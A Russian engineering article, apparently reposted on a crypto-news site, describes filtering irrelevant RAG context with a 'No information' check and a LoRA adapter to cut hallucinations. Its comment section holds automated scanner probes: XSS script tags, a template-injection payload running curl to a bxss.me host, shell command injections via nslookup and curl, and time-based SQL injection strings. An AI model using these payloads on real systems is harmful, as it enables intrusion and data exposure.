Русский
EnglishCryptocurrencies:
9469 /
Markets: 114759
Market Cap: $ 3 649 413 147 676 /
24h Vol: $ 111 462 614 249 /
BTC
Dominance: 58.888008521454%
Новости
«Ошибка на миллиард» в ИИ: боремся с галлюцинациями в LLM по аналогии с NullPointerException
Привет! Меня зовут Денис Березуцкий, я старший инженер по разработке ПО искусственного интеллекта в YADRO. В ML-команде мы разрабатываем системы, которые облегчают работу нашим заказчикам с помощью текстовых генеративных нейросетей: реализуем RAG, создаем чат-ботов, агентные системы и другие решения.
Как и многие в индустрии, мы сталкиваемся с проблемами галлюцинаций LLM, которые портят ответы виртуальным ассистентам и способны подорвать доверие к ним. В статье я расскажу об одном не совсем стандартном методе, перенесенном из «классического» программирования, который мы применяем для борьбы с галлюцинациями и улучшения поисковой выдачи.
О стоимости борьбы с галлюцинациями
Прежде чем мы углубимся в наш метод, небольшое замечание о стоимости борьбы с проблемами в ИИ. В нашей индустрии есть мнение, что любую проблему лучше всего забороть «числом», то есть на порядок нарастить VRAM, число параметров нейросети, данных для претрейна и так далее. Часто это работает. Но какой ценой?
Например, свежая модель DeepSeek V3 очень хороша в плане качества, но, чтобы ее запустить без квантизации, понадобятся миллионы и миллионы рублей на железо (а с квантизацией может потеряться качество).
А между тем, если вы неудачно составили промпт для вашей RAG-системы, никакой DeepSeek не спасет.
Здесь и далее сохранена типографика исходного промпта
И наоборот, даже модель, помещающаяся на обычное пользовательское железо (вроде старой доброй saiga_mistral_7b), способна выдавать неплохие результаты, если немного поколдовать над промптом и настройками.
Ни в коем случае не умаляю важность и ценность увеличения масштабов ИИ. Но в этой статье мы посмотрим на метод (точнее, на комплекс самостоятельных методов), который позволяет снизить число галлюцинаций при имеющемся железе, даже на относительно небольших моделях.
«Ошибка на миллиард» в классическом программировании
«Ошибка на миллиард долларов» — это популяризованное ученым Чарльзом Э. Хоаром название для пресловутого «null pointer exception». В большинстве классических языков программирования переменная, якобы содержащая объект какого-то класса, на самом деле может ничего не содержать.
Скажем, в Java вы объявляете функцию в духе:
public static String extractStreet(Address address) {
return address.get(“street”, “Undefined”)
}И вы не можете быть уверены, что вам пришел настоящий объект класса Address. В переменной address может скрываться null. Если вы попытаетесь вызвать один из методов Address у такой переменной, вы получите тот самый NullPointerException.
По идее вам нужно проверять, что пришедший объект не равен null. Но, если вы будете делать такую проверку каждый раз для каждого значения переменной, вы замучаетесь, а ваш код вырастет в разы. Вы также можете понадеяться, что проверку на null сделал кто-то до вас. Но где именно? И что если все-таки не сделал? Или сделал раньше, но убрал по ошибке во время рефакторинга?
Возникает путаница, последствия разбирательств с которой Хоар оценил как раз на «миллиард долларов».
Некоторые современные языки, такие как Kotlin, решают проблему тем, что на каждый класс разрешают иметь два типа переменных: те, которые точно не содержат null, и те, которые могут его содержать (в Kotlin это записывается как “Int” vs “Int?”).
В Python тоже можно извернуться и обвешать код типизацией с линтерами. Они будут следить, чтобы вы не вызывали методы на переменных, которые не проверены на None. Но гарантировать полную защиту для интерпретируемого языка в таком случае, конечно, сложно.
Хорошо было бы изобрести машину времени и вернуться на 65 лет назад, чтобы предотвратить появление неявных нулевых ссылок. Но, увы, приходится работать с тем, что есть.
«Ошибка на миллиард» в генеративном ИИ
Компьютеры, как известно, отлично справляются с четкой, строгой логикой, но творческая составляющая у них до недавнего времени хромала. Уже много лет назад существовали суперкомпьютеры, считающие арифметические примеры быстрее, чем все люди на планете вместе взятые. Но в плане творческой генерации мы только в последние 3-4 года стали получать нейросети, которые способны творить на уровне хотя бы одного отдельно взятого копирайтера или иллюстратора.
Из-за этого в индустрии LLM случился некоторый перекос. Желая показать, что их нейросеть «человекоподобна», то есть находится на острие прогресса, создатели настраивали ее в первую очередь на работу с творческими, а не строгими задачами. Например, в продуктах OpenAI по умолчанию включен сэмплинг и выставляется ненулевая температура, чтобы LLM выдавала пусть иногда неожиданные, но зато разнообразные ответы.
Проблема в том, что в серьезной работе это «творчество» не нужно. Тем более в компаниях, которые связаны с техникой и строгими науками, включая компьютерные технологии. Нужны, наоборот, максимально дисциплинированные и достоверные ответы.
Вспомним, как было в «Поколении П» Пелевина:
— Пойдешь ко мне в штат?
— Кем?
— Криэйтором.
— Это творцом? Если перевести.
— Творцы нам тут [даром] не нужны. Криэйтором, Вава, криэйтором.
Особенно болезненно разница между «творцом» и «криэйтором» воспринимается в системах RAG, где от нейросети требуется найти ответ в поисковой выдаче и сформулировать его доступным для пользователя языком.
Хорошо, если ответ в выдаче действительно был. А если нет? Тогда обученная на творческие задачи модель выдумает его «из головы». И попробуйте потом понять, это реальный ответ из базы знаний на тысячу документов или просто фантазия.
Здесь проступают некоторые параллели с классической «ошибкой на миллиард», только в качестве NullPointerException выступает галлюцинация. Нейросети пришел какой-то объект, и было заявлено, что этот объект содержит ответ на вопрос пользователя. Если реально содержит, то без проблем. А если нет, то модель обрабатывает этот своеобразный «NullPointerException», как умеет, — выдает «творческий» ответ «из головы» (точнее, из данных претрейна).
Понятно, что у галлюцинаций генеративных нейросетей сложная природа и она не сводится только к проблемному контексту. Но отсутствие требуемой информации в нем — это один из важных факторов, на котором мы сосредоточимся в этой статье.
Боремся с галлюцинациями
В основе нашего метода лежит такое же отношение к галлюцинациям в системе RAG, как к NullPointerException.
А как мы боремся с NullPointerException в классическом программировании? Правильно: мы предварительно делаем проверку на null.
Разумеется, первое, что приходит в голову при разработке системы RAG, — прямо в промпте давать указание системе: «Если нужной информации нет в контексте, то ответь фразой “Нет информации”».
Однако, когда мы стали тестировать RAG на базе знаний одного из внутренних заказчиков, выяснилось, что даже с таким промптом модель все еще иногда галлюцинирует, в том числе в откровенно очевидных, непростительно простых случаях. Позже мы собрали два небольших датасета (подробности в следующих разделах) для оценки способности модели отсеивать нерелевантный контекст. И обнаружили, что, например, saiga_mistral_7b ошибается на коротких контекстах в более чем 12% случаев, а на средних/длинных — в более чем 40%.
Поэкспериментировав с промптами, мы обнаружили, что встречаются «волшебные» слова, которые улучшают этот показатель. Нет, не слово «пожалуйста», а «строго»: «Если нужной информации нет в контексте, то ответь строго фразой “Нет информации”».
К сожалению, и в такой конфигурации процент ошибок оставался значительным.
Тогда мы решили дообучить базовую модель при помощи LoRA на специально собранном датасете для ситуаций, когда в контексте нет ответа на вопрос пользователя (см. следующий раздел). На тот момент в качестве базовой модели LLM мы использовали saiga_mistral_7b, которая нетребовательна к ресурсам и долгое время была в топе на Russian SuperGLUE. Да-да, есть модели получше, но, как правило, они либо огромные, либо имеют проблемы с лицензией в России, в том числе все, что основаны на LLaMa.
Но самое главное: в нашем RAG-пайплайне мы решили сделать опциональную петлю, в которой проверяли бы каждый найденный фрагмент контекста на релевантность вопросу пользователя. Только те куски контекста, которые пройдут проверку, будут попадать в финальный вопрос для LLM.
Ниже — грубая схема работа пайплайна:
Отмечу, что каждый шаг пайплайна опционален:
Можно делать только поиск, без фильтрации и генерации финального ответа (то есть обычный поиск, как в Google).
Можно делать поиск, а затем фильтровать результаты через LLM (совместно с другими фильтрами, реранкерами и пр.) — получится RAG.
Можно выключить поиск и фильтрацию, и тогда получится просто диалог с пользователем на основе претрейна.
Наконец, можно прогонять поток по всем шагам.
Чтобы петля фильтрации работала правильно, нам нужен некий маркер, который позволяет однозначно определить, что модель считает кусок контекста нерелевантным.
Самая очевидная идея — спрашивать LLM: «Есть ли в данном контексте ответ на вопрос пользователя? Ответь строго “да” или “нет”». Тогда на выходе мы проверяем, что ответ модели равен одной из этих двух строк (да/нет), и в зависимости от этого реагируем.
Но практика показала, что этот метод ненадежен. Во-первых, очень часто модель отвечает ни «да», ни «нет», а что-то свое, третье. Во-вторых, сами слова «да» и «нет» слишком общие, могут относиться не только к вопросу в инструкциях, но и к чему угодно в контексте. Если модель сказала «нет», мы не можем быть уверены в причине ответа: потому что информации реально нет, или потому что слово «нет» встретилось где-то случайно в контексте, или потому что в контексте случайно встретился «левый» вопрос, предполагающий ответ вида «да/нет».
Поэкспериментировав, мы решили остановиться на следующем варианте.
Задаем модели вопрос с таким шаблоном промпта:
<s>system\nТы - русскоязычный ассистент. Твоя задача - отвечать на вопросы пользователей только на основе информации, которая была найдена в базе данных в виде одного или нескольких контекстов из статей. Если в контекстах не нашлось нужной информации, ответь строго фразой «Нет информации». Ниже приведены пары «заголовок-контекст» из базы знаний и вопрос пользователя, на который нужно ответить.\n</s><s>user\nНайденная информация из базы знаний:\n{context}\nВопрос: {question}?</s><s>bot\n |
Затем выставляем max_new_tokens генерации всего в несколько штук — для saiga_mistral_7b хватает семи. Если начало сгенерированной строки в точности совпало со строкой «Нет информации», то считаем, что модель не нашла информации в контексте. Во всех остальных случаях считаем, что нашла что-то релевантное.
Сначала это может выглядеть контринтуитивно. Если бы мы переложили наш метод борьбы с «NullPointerException» на классическое программирование, то он выглядел бы примерно так:
public static String extractStreet(Address address) {
try {
address.get(“street”, “Undefined”)
} catch (NullPointerException e) {
return “”
}
return address.get(“street”, “Undefined”)
}То есть мы дважды проводим одну и ту же процедуру экстракции вместо того, чтобы один раз предварительно проверить address на null. Но, во-первых, для контекста в RAG не существует «простой проверки на null», потому мы и спрашиваем LLM о наличии информации в контексте. А во-вторых, первый вызов строго ограничен по числу токенов, поэтому проходит довольно быстро.
Кроме того, подход основан на следующих соображениях (в том числе подтвержденных экспериментами):
Модель, конечно, будет ошибаться на такой задаче. Но мы считаем, что нам лучше недофильтровать контекст, чем перефильтровать его. В конце концов, помимо нашего фильтра LLM, существуют и другие, и они тоже делают свою работу. Поэтому маркируем контекст как нерелевантный только в том случае, если модель начала ответ в точности с нужной фразы.
Модели, как правило, обучены на ответы по вопросам пользователей. Если спросить LLM, есть ли в контексте информация по вопросу пользователя «Сколько планет в Солнечной системе?», то с большой вероятностью нейросеть ответит не «да», а «8». Поэтому можно не просить модель отвечать «да» — пусть сразу дает ответ на вопрос. Нам все равно, так как нас интересует только сравнение со строкой «Нет информации».
Текст «Нет информации», с одной стороны, более точный и специфичный, чем абстрактное «нет», а с другой — не такой длинный, как «Информации нет в контексте» или «Информации нет в данном контексте». Современные LLM так устроены, что чем больший текст они генерируют, тем больше у них вероятность сбиться на очередном токене и сгенерировать ерунду. Ну и конечно, мы жалеем драгоценное время на генерацию каждого токена.
Чтобы оценить качество такого алгоритма, мы использовали метрику accuracy для двух классов: «информация была в контексте» и «информации не было в контексте». В нашем случае метрика считается так:
(true positive “no info” + true negative “no info”)/all resultsЗдесь:
true positive “no info” — это число случаев, когда модель начала ответ с «Нет информации», если ответа реально не было в контексте.
true negative “no info” — это число случаев, когда ответ был в контексте, но модель начала ответ с чего угодно, кроме «Нет информации».
Все остальные случаи считаются ошибками:
false positive “no info” — модель начала ответ с «Нет информации», а информация в контексте была.
false negative “no info” — модель начала ответ с чего угодно, кроме «Нет информации», а по факту информации в контексте не было.
Дообучение LoRA для фильтрации контекста
Шаг с дообучением и внедрением LoRA в нашем случае опционален. Вы можете встроить петлю проверки релевантности и с помощью базовой LLM, если она выдает приемлемое качество. Но, как упоминалось раньше, нас не вполне устраивала работа saiga_mistral_7b «из коробки», поэтому мы решили посмотреть, насколько можно будет улучшить показатели, если потратить время на дообучение и внедрение адаптера.
Задача фильтрации контекста перед нами была поставлена в рамках более общей — «приспособить LLM к работе со специализированными базами знаний компании». Поэтому мы создали два принципиально разных датасета. Оба основаны на внутренней базе знаний одного из проектов YADRO.
Первый датасет представлял собой просто пары «заголовок — содержание до следующего заголовка такого же или более высокого уровня» по всем статьям этого пространства в базе знаний. В идеале, если обучить модель на таком датасете, то она научится пересказывать содержание статьи по заголовку. Отчасти решение об использовании этого датасета было принято еще и потому, что его создание стоило нам дешево. Его можно было собрать автоматически: достаточно написать HTML-парсер страниц базы знаний и обходчик пространств. В результате, условно-бесплатно получили датасет из нескольких тысяч сэмплов.
Второй датасет соответствовал задаче RAG. Он содержал вручную подобранные вопросы пользователя, контексты, в которых нужно искать ответ, и идеальные ответы.
Список вопросов, казалось бы, крохотный — всего 105 строк. Однако каждая строка содержит пару контекстов: «наилучший» (содержащий ответ, если таковой вообще присутствует в базе знаний) и «неправильный» (взятый из рандомного места базы знаний, точно не содержащий правильный ответ). Для второго контекста правильный ответ, разумеется, всегда «Нет информации». Для первого контекста — только если ее реально нигде нет в базе знаний (например, для вопроса «зарплата у Иванова»). Таким образом, за счет использования двух контекстов на один вопрос число сэмплов удваивается.
Пара оторванных от реальности примеров:
Вопрос | Лучший контекст | Неправильный контекст | Идеальный ответ к первому контексту |
Кого не было дома? | Возвратясь к коменданту, я, по обыкновению своему, подсел к Марье Ивановне. Ивана Кузмича не было дома; Василиса Егоровна занята была хозяйством. Мы разговаривали вполголоса. Марья Ивановна с нежностию выговаривала мне за беспокойство, причиненное всем моею ссорою с Швабриным. | С той поры положение мое переменилось. Марья Ивановна почти со мною не говорила и всячески старалась избегать меня. Дом коменданта стал для меня постыл. Мало-помалу приучился я сидеть один у себя дома. Василиса Егоровна сначала за то мне пеняла; но, видя мое упрямство, оставила меня в покое. | Ивана Кузмича. |
Какая зарплата у Ивана Кузмича? | Я находился в том состоянии чувств и души, когда существенность, уступая мечтаниям, сливается с ними в неясных видениях первосония. Мне казалось, буран еще свирепствовал и мы еще блуждали по снежной пустыне... Вдруг увидел я вороты и въехал на барский двор нашей усадьбы. | Подходя к комендантскому дому, мы увидели на площадке человек двадцать стареньких инвалидов с длинными косами и в треугольных шляпах. Они выстроены были во фрунт. Впереди стоял комендант, старик бодрый и высокого росту, в колпаке и в китайчатом халате. | Нет информации. |
Кроме того, можно заметить, что из каждой пары сэмплов можно бесплатно получить третий: мы просто конкатенируем «наилучший» контекст с «неправильным», а ответ в таком случае будет равен ответу с «наилучшим» контекстом (так как в неправильном подходящей информации все равно нет). В лучших традициях консьюмеризма мы получаем «3 по цене 2».
Итого — 315 сэмплов.
Вопрос | Объединенный контекст | Идеальный ответ |
Кого не было дома? | Возвратясь к коменданту, я, по обыкновению своему, подсел к Марье Ивановне. Ивана Кузмича не было дома; Василиса Егоровна занята была хозяйством. Мы разговаривали вполголоса. Марья Ивановна с нежностию выговаривала мне за беспокойство, причиненное всем моею ссорою с Швабриным. … С той поры положение мое переменилось. Марья Ивановна почти со мною не говорила и всячески старалась избегать меня. Дом коменданта стал для меня постыл. Мало-помалу приучился я сидеть один у себя дома. Василиса Егоровна сначала за то мне пеняла; но, видя мое упрямство, оставила меня в покое. | Ивана Кузмича. |
RAG-датасет мы вручную разделили на обучающий и тестовый набор в соотношении 2 к 1, стараясь максимизировать представительность обеих групп по содержанию и разнообразию.
Дальше последовала череда экспериментов по обучению, причем в результате мы создали три версии адаптера:
Обученную только на датасете с пересказом статей по заголовкам.
Обученную только на RAG-датасете для фильтрации контекста.
Обученную на обоих датасетах.
Процедуру дообучения описывать не буду, она стандартная для LoRA. Единственное существенное отличие: с определенным интервалом мы запускали еще и кастомную валидацию, где считали дополнительные метрики. Среди них — BLEU, BERTScore и, самое главное, метрика accuracy на классе “No Info”, которая отвечает за способность модели отсеивать нерелевантные контексты.
В финальную подборку попали чекпоинты, показавшие лучшие результаты кастомной валидации.
А результаты получились интересные.
В верхней строке — модель «из коробки», без адаптера. Как видно, и она справляется с задачей неплохо, однако в результате дообучения число ошибок сократилось в разы (с 12.5% до 4.2% в случае с accuracy).
Модель, обученная только на автодатасете с пересказом статей, ожидаемо деградировала в задаче RAG. Все-таки отвечать на вопрос по контексту — совсем не то же самое, что пытаться написать вызубренную статью по ее заголовку.
Гораздо интереснее, что лучшие результаты в задаче RAG показал адаптер, обученный на обоих датасетах, а не только на RAG-датасете.
Вообще, адаптер, обученный только на RAG, очень быстро показывал деградацию по всем метрикам. Представленный в таблице результат — это чекпоинт с самой первой кастомной валидации, а дальше модель покатилась в пропасть, из которой уже не выбралась. А вот адаптер, обучаемый на обоих датасетах, стабильно прирастал в качестве на протяжении многих часов.
Почему так? Вероятно, большой автодатасет выполняет роль регуляризатора и не позволяет модели переобучиться, получить затухание градиентов или градиентный взрыв.
В интернете в плане дообучения генеративных моделей часто рекомендуют не добавлять регуляризацию на уровне данных, так как это «пустая трата времени». Тем не менее, в нашем случае это почему-то было не так.
Победителем в нашем сравнении вышла модель, дообученная на обоих датасетах.
Деплоймент модели, дообученной методом LoRA, и петли фильтрации
LoRA, как известно, позволяет очень дешево адаптировать нейросети для решения узкоспециализированных задач без необходимости заводить отдельную LLM с полноценным дообучением (со всеми вытекающими чудовищными затратами VRAM и времени). То есть в плане использования памяти вы получаете вторую модель по цене 5-10% от первой. Однако есть и недостатки — в частности, необходимость поддерживать инфраструктуру для адаптеров и возможность управлять ими извне.
Мы стараемся поддерживать API для заказчиков в соответствии с современными стандартами индустрии. По многим же стандартам использование адаптеров не предполагается. Так, у OpenAI при вызове API вы можете выбрать модель (o1, o3-mini и другие), но у вас просто нет поля для выбора адаптера, потому что OpenAI это не нужно.
Мы приняли простое решение: переиспользовать строку имени модели, но добавлять имя адаптера через двоеточие. Например, вместо “model_name”:“IlyaGusev/saiga_mistral_7b_merged” можно написать “model_name”: “IlyaGusev/saiga_mistral_7b_merged:sm_yadro_tb_rag_filtering_lora”.
Это не противоречит стандартному формату, но дополняет его и позволяет серверу для инференса (Inference Server) понять, что нужно не просто использовать модель, но предварительно включить у нее слои нужного адаптера (или выключить, если адаптер не указан). К счастью, современные версии PEFT позволяют жонглировать адаптерами по цене в сотые или даже тысячные доли секунды за операцию.
# Пример кода загрузки модели с адаптерами на стороне Inference Server при условии, что список адаптеров заранее определен:
self.active_adapter = ""
self.adapter_names: List[str] = (
(model_params["available_adapters"]["string_value"].split(","))
if "available_adapters" in model_params
else []
)
if self.adapter_names:
first_lora = True
for lora_name in self.adapter_names:
lora_path = f"/models/{lora_name}"
if first_lora:
self.model = PeftModel.from_pretrained(
self.model,
lora_path,
lora_name,
**model_kwargs,
)
first_lora = False
else:
self.model.load_adapter(lora_path, adapter_name=lora_name)
self.model.base_model.disable_adapter_layers()
# Подготовка модели к инференсу по конкретному запросу пользователя:
adapter = params.pop("adapter") if "adapter" in params else ""
if adapter != self.active_adapter:
if not adapter:
self.model.base_model.disable_adapter_layers()
else:
self.model.base_model.enable_adapter_layers()
self.model.set_adapter(adapter)
self.active_adapter = adapterЧто касается петли фильтрации контекста, то она реализуется как серия вызовов к модели с нашим адаптером с помощью специального промпта (см. выше). Каждый контекст, найденный в базе знаний, проходит эту проверку, и в случае нерелевантности вопросу пользователя удаляется из результатов. Есть также опция проверить все куски контекста за раз. Это полезно, если ответ разбросан по многим чанкам контекста и анализировать его можно только в совокупности.
Например:
Вопрос | Контекст 1 | Контекст 2 |
Высота самого высокого дома в Москве? | Самый высокий дом в Москве — «Башня Федерация». | Высота комплекса «Башня Федерация» — 374 метра. |
По отдельности ни один из контекстов выше на вопрос не отвечает, и модель теоретически может отсеять оба. Но если их составить вместе, то получится полный ответ. Поэтому мы оставляем опцию проверки сконкатенированных контекстов в целом.
Примерный код фильтрации:
no_info_indicator = pipeline_config.get(“no_info_indicator”, “Нет информации.”)
context_relevance_chain: BaseCombineDocumentsChain = …
if context_filtering_enabled:
if check_per_document:
relevant_docs: list[Document] = []
for context_doc_info in context:
relevance_answer = context_relevance_chain.invoke(
{"input_documents": [context_doc_info], "question": question},
return_only_outputs=True,
)[“output”]
if relevance_answer != no_info_indicator:
relevant_docs.append(context_doc_info)
return relevant_docs
else:
relevance_answer = context_relevance_chain.invoke(
{
"input_documents": context,
"question": question,
},
return_only_outputs=True,
)[“output”]
if relevance_answer == no_info_indicator:
return []
else:
return contextДля финального ответа в пайплайне RAG-модели подается уже отфильтрованный контекст. Если контекст отсеялся полностью, то мы либо отвечаем заранее заготовленной фразой, либо подаем нейросети модифицированный промпт (не «ответь, согласно информации», а просто «ответь»).
Важная фишка: из-за того, что петля фильтрации организована как отдельный опциональный алгоритм, мы можем его включить и для заказчиков, которым нужен обычный поиск по документам, без RAG, то есть без финального шага в виде генерации ответа от LLM. Разумеется, это подходит только клиентам, которые готовы подождать еще пару секунд, прежде чем получить выдачу на свой вопрос.
В принципе, вместо такой петли (или вместе с ней) можно использовать и encoder-only модель, которая попытается захайлайтить ответ в выдаче, а если не найдет ответа, то такой чанк тоже можно считать нерелевантным. Пример хайлайтов можно увидеть, например, в поисковой выдаче Google:
В идеале вы можете сделать ваш пайплайн поиска многоступенчатым, где на каждой ступени за фильтрацию чанков принимается более тяжелый, но более качественный алгоритм. Это позволит сэкономить время, так как до все более медленных алгоритмов будет доходит все меньше чанков. Например, сначала семантический/лексический/гибридный поиск, затем какой-нибудь BERT, умеющий размечать ответы, и, наконец, фильтрующая LLM.
Результаты внедрения
Внутренний заказчик, для которого мы делали эту работу, дал положительный отзыв на фичу фильтрации контекста. Количество галлюцинаций значительно снизилось.
В то же время при попытке внедрить адаптер, обученный на автоматическом датасете по их базе знаний, в качестве генератора финального ответа в RAG, качество не улучшилось, а местами даже просело. Возможно, сказался наш фокус внимания на борьбе с галлюцинациями. Поэтому адаптер мы включаем только для стадии фильтрации, для финальной же генерации вызываем базовую модель.
Однако, как говорится, «спасибо» на Хабр не положишь, поэтому мы дополнительно создали тестовый датасет из 100 сэмплов, не связанных со спецификой конкретного заказчика, чтобы оценить фичу более объективно.
В этом тестовом датасете контекст значительно больше, чем в обучающем (многие тысячи токенов), а сам он построен так, что может «запутать» модель насчет наличия нужной информации. То есть вопросы так или иначе относятся к контексту, просто в одних случаях явно содержится ответ, а в других — ответ можно легко «додумать» из контекста или претрейна. Вот примеры, как это можно сделать:
Контекст | Вопросы |
Алгоритм снятия денег в банкомате: Шаг 1: Вставьте карту в банкомат Шаг 2: Введите PIN-код Шаг 3: Укажите требуемую сумму Шаг 4: Заберите деньги | Какой шаг 1, чтобы снять деньги в банкомате? Какой шаг 5, чтобы снять деньги в банкомате? Какой шаг 1, чтобы положить деньги в банкомат? Какой шаг 5, чтобы положить деньги в банкомат? |
Фирма: “Рога и копыта” Директор: Иван Иванов Фирма: “Абракадабра Плюс” Директор: Ольга Ольгина | Кто директор в фирме “Рога и копыта”? Кто заместитель директора в проекте “Рога и копыта”? Кто директор в фирме “Газпром”? |
На этом датасете мы прогнали несколько конфигураций, и вот что у нас получилось:
Конфигурация | Правильные ответы |
Базовая saiga_mistral_7b с плохим промптом | 49% |
Базовая saiga_mistral_7b | 49% |
Базовая saiga_mistral_7b + наш фильтр с LoRA | 71% |
45% | |
97% |
«Правильность» ответов во всех случаях оценивалась вручную. При этом моделям размера 7B делались поблажки по орфографии и прочим мелочам (Saiga часто миксует русский язык с английским, а DeepSeek — с китайским).
В первом случае («с плохим промптом») мы не говорим модели: «Если информации нет в контексте, то ответь строго фразой “Нет информации”». То есть надеемся, что модель сама откажется выдумывать ответ. Во всех остальных случаях говорим.
DeepSeek-R1-Distill-Qwen-7B мы выбрали как современный популярный конкурент примерно того же размера, что и saiga_mistral_7b. А DeepSeek-R1-Distill-Qwen-32B взяли для оценки влияния размера модели на качество. В обоих случаях из ответа, разумеется, удалялась секция reasoning (тэг “<think>”). R1 вместо V3 мы выбрали, потому что для нее существуют официальные дистилляции подходящего размера.
Первый интересный результат. На длинных контекстах «правильный» промпт не оказал на saiga_mistral_7b никакого значимого влияния — качество осталось на уровне 49%. Модель немного варьировала ответы, но ни разу не начала с фразы «Нет информации». В целом, из 46 вопросов в датасете, на которые предполагался ответ «Нет информации», базовая модель только в двух случаях отказалась от ответа по существу. Во всех остальных случаях начинала выдумывать ответ.
При этом на других тестах, в которых мы использовали небольшие по размеру контексты, использование «хорошего» промпта оказывало значительное влияние на результаты. Возможно, дело в том, что маленьким моделям тяжело запоминать большой контекст и суть системной части промпта у них начинает «забываться».
Второй интересный результат. DeepSeek-R1-Distill-Qwen-7B немного уступила saiga_mistral_7b по качеству, несмотря на то, что первая намного новее и вооружена механизмом reasoning. В нескольких случаях модель просто впала в бесконечный цикл прямо во время reasoning’а.
В то же время DeepSeek-R1-Distill-Qwen-32B показала прекрасный результат, ошибившись всего лишь в трех случаях, из которых два были ложноположительными (то есть, информация в контексте была, но модель решила ответить «Нет информации»). Причем маленькая модель DeepSeek-R1-Distill-Qwen-7B дала правильные ответы на тех же двух сэмплах. Возможно, большая модель перемудрила с ответом.
Как бы то ни было, видно, что фильтрация контекста для борьбы с галлюцинациями — это задача, которую можно буквально завалить деньгами: взять сервер на порядок дороже, развернуть на нем модель на порядок больше и получить почти идеальные ответы. Вопрос лишь в том, где взять деньги на несколько GPU типа A100 или H100.
Результат нашего адаптера. Он позволил увеличить качество базового пайплайна на 45% (или 22% от всех сэмплов в датасете). При этом только один случай был ложноположительным (модель отсеяла контекст, в котором был ответ), поэтому можно сказать, что такая фильтрация довольно безопасна в плане потерь важных кусков информации.
Напрашивается очевидная рекомендация: если бюджет позволяет вам использовать enterprise-grade GPU в достаточных количествах, то просто запускайте на них максимально большие модели — большинство проблем уйдет само собой.
Но если вы можете себе позволить только одну-две RTX 4090, то дообучение модели размера 7B/8B с помощью LoRA может быть вполне приемлемой альтернативной.
Или если деньги есть, но не хочется тратить ресурсы дорогостоящей модели 32B+ на относительно простую задачу фильтрации контекста, то можно использовать модель 7B + LoRA как предварительный входной фильтр. Так дорогая модель сможет реже/меньше работать.
Вот пара примеров, где дообучение LoRA оказало влияние:
Может появиться вопрос, не опасно ли использовать модель, обученную на закрытом проекте, вне его? В данном случае не опасно, так как адаптер используется только внутри петли фильтрации и клиент никогда не видит сгенерированный им текст. Все что нас интересует: написала ли модель фразу «Нет информации» или что-то другое. Дальше пайплайна этот текст не уходит.
Выводы
Творческая натура LLM играет со строгими задачами злую шутку: в любой непонятной ситуации модель принимается фантазировать на основе претрейна.
Проблема не только в том, что «фантазии» выгодны для демонстрации способностей нейросети и потому поощряются создателями, но и в том, что многие RAG-специфичные датасеты не учитывают ситуации, когда в контексте нет информации, релевантной вопросу. Там просто нет подходящих сэмплов, и потому модель, обученная на таких датасетах и наткнувшаяся в реальной жизни на «NullPointerException», не знает, что ей делать.
Например, в популярном русскоязычном датасете RussianNLP/russian_super_glue (подсет MuSeRC) нет примеров, где требуемой информации не нашлось бы в контексте. Если вы на базе MuSeRC составите датасет для обучения RAG, в котором в качестве выходной последовательности будет правильный ответ, ваша модель не будет знать, что делать, если в контексте нет ответа на вопрос. А это прямой путь к галлюцинациям.
Сообщество инженеров в области искусственного интеллекта активно борется с этим, и я надеюсь, что в скором будущем появятся фундаментальные и не слишком тяжеловесные модели, которые можно будет использовать с приемлемой вероятностью галлюцинаций «из коробки». В том числе будут более строго следовать инструкциям в духе «ничего не придумывай, если информации нет в контексте». И кстати, появится больше открытых RAG-датасетов, где ситуации с отсутствием нужных данных в контексте имеют достойное представительство. Короче, «ошибка на миллиард» в ИИ будет искореняться на самом базовом уровне.
Но до тех пор приходится применять самодельные стратегии. Описанный в статье метод фильтрации контекста как раз к ним относится.
Этот метод — ни в коем случае не панацея. Он не гарантирует отсутствие галлюцинаций и имеет свои издержки как на разработку, так и при использовании.
Однако он довольно небольшой ценой позволяет существенно снизить число галлюцинаций, гибок в настройке, прекрасно комбинируется с другими элементами поискового пайплайна и может применяться не только в RAG, но и при фильтрации результатов в обычном поиске.
А какие методы борьбы с галлюцинациями используете вы? Пишите в комментариях.
-
09.10.25 08:11
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:13
pHqghUme
can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
-
09.10.25 08:13
pHqghUme
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
-
09.10.25 08:13
pHqghUme
'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
-
09.10.25 08:13
pHqghUme
can I ask you a question please?9425407
-
09.10.25 08:13
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:14
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:16
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
"+response.write(9043995*9352716)+"
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
-
09.10.25 08:18
pHqghUme
|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:19
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:22
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:22
pHqghUme
can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-
